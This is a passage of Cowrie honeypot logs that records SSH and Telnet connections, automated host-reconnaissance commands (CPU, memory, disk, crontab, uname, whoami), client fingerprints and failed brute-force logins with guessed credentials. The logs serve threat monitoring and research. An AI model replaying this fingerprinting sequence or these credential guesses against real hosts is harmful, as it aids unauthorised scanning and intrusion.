{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:10.645499Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:10.649558Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:10.745708Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:10.962978Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:10.965372Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:11.058714Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:11.288121Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:11.292076Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:11.296079Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:11.391648Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:11.625841Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:11.629629Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:11.723220Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:11.948528Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:11.951940Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:12.046305Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:12.271235Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:12.274297Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:12.368898Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:12.589414Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:12.592858Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:12.687585Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:12.903604Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:12.906098Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:12.999146Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:13.238198Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:13.240583Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:13.331527Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:13.556573Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:13.559819Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:13.652594Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:13.874270Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:13.877164Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:13.970607Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:14.195714Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:14.199538Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:14.294361Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:14.517344Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:14.520666Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:14.615752Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:14.669695Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33134,"dst_ip":"10.17.0.5","dst_port":23,"session":"e75119a26005","protocol":"telnet","message":"New connection: 104.245.105.2:33134 (10.17.0.5:23) [session: e75119a26005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:18.919590Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.217.138","src_port":44322,"dst_ip":"159.203.135.109","dst_port":22,"session":"e613fd95961f","protocol":"ssh","message":"New connection: 14.225.217.138:44322 (159.203.135.109:22) [session: e613fd95961f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:26.980813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:27.086938Z","src_ip":"14.225.217.138","session":"e613fd95961f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:27.335866Z","src_ip":"14.225.217.138","session":"e613fd95961f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ssluser","password":"123","message":"login attempt [ssluser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:28.414153Z","src_ip":"14.225.217.138","session":"e613fd95961f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:29.679721Z","src_ip":"14.225.217.138","session":"e613fd95961f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.394402742385864,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:34.640860Z","src_ip":"104.245.105.2","session":"7f77befd497d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40936,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa67299b0701","protocol":"telnet","message":"New connection: 104.245.105.2:40936 (10.17.0.5:23) [session: fa67299b0701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:42.191466Z"}
{"eventid":"cowrie.session.closed","duration":30.821175813674927,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:49.740639Z","src_ip":"104.245.105.2","session":"e75119a26005","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":53854,"dst_ip":"159.203.135.109","dst_port":22,"session":"3036e7a3b42b","protocol":"ssh","message":"New connection: 186.113.245.157:53854 (159.203.135.109:22) [session: 3036e7a3b42b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:48:02.815148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:48:02.822838Z","src_ip":"186.113.245.157","session":"3036e7a3b42b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:48:02.921722Z","src_ip":"186.113.245.157","session":"3036e7a3b42b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234567a","message":"login attempt [ubuntu/1234567a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:48:03.293691Z","src_ip":"186.113.245.157","session":"3036e7a3b42b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42120,"dst_ip":"10.17.0.5","dst_port":23,"session":"2934aa5ce290","protocol":"telnet","message":"New connection: 104.245.105.2:42120 (10.17.0.5:23) [session: 2934aa5ce290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:48:03.964139Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:48:04.390905Z","src_ip":"186.113.245.157","session":"3036e7a3b42b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.16038990020752,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:48:15.351761Z","src_ip":"104.245.105.2","session":"fa67299b0701","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.939082622528076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:48:34.903137Z","src_ip":"104.245.105.2","session":"2934aa5ce290","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":53250,"dst_ip":"10.17.0.5","dst_port":22,"session":"37adf72b5f92","protocol":"ssh","message":"New connection: 2.57.122.238:53250 (10.17.0.5:22) [session: 37adf72b5f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:48:50.679831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:48:50.685309Z","src_ip":"2.57.122.238","session":"37adf72b5f92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 